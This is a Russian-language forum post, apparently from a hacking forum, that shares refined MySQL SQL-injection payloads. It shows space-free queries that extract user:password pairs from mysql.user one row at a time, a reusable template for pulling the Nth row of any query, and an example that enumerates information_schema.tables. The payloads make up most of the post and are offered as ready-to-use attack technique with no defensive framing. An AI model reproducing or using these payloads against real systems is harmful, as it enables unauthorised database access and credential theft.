Показать сообщение отдельно
Старый 17.02.2011, 16:39   #2
ont
 
Аватар для ont
 
Регистрация: 16.12.2010
Сообщений: 57
Репутация: 92
По умолчанию

Пластическая операция.
Спешу дополнить свой пост более красивой формой запроса. (Спасибо profexer за его оригинальную идею ускорителя SQL запрсов и nikp за его красивый беспробельный вариант).

Исходный вариант:
Здесь идет постепенная аккумуляция данных в @n:
select(@n)from(select(@n:=0x20),(select(null)from( mysql.user)where(0x2b)in(@n:=concat(@n,0x7c,user,0 x3a,password))))n
Достаточно модифицировать его, так, чтобы данные не аккумулировались а переопределялись для определенного значения счетчика.

Что изменилось:
select(@n)from(select(@n:=0x20),(@c:=0),(select(null)from(mysql.user)where(0x2b)in(@n:=if(@c=1,concat(user,0x3a,password),@n),@c:=@c+1)))n
Выдаст первую строчку запроса, т.к. нет дополнительной таблицы, размножающей строки.

Шаблон использования:
select(@n)from(select(@n:=0x20),(@c:=0),(select(nu ll)from([запрос])where(0x2b)in(@n:=if(@c=N,[колонка/concat],@n),@c:=@c+1)))n

Например:

select(@n)from(select(@n:=0x20),(@c:=0),(select(nu ll)from((select(table_name)from(information_schema.tables) )x)where(0x2b)in(@n:=if(@c=112,table_name,@n),@c:=@c+1)))n

Получилось очень красиво и удобно (нет проблем с подбором количества строк + запрос и колонки размещаются красивее).
ont вне форума   Ответить с цитированием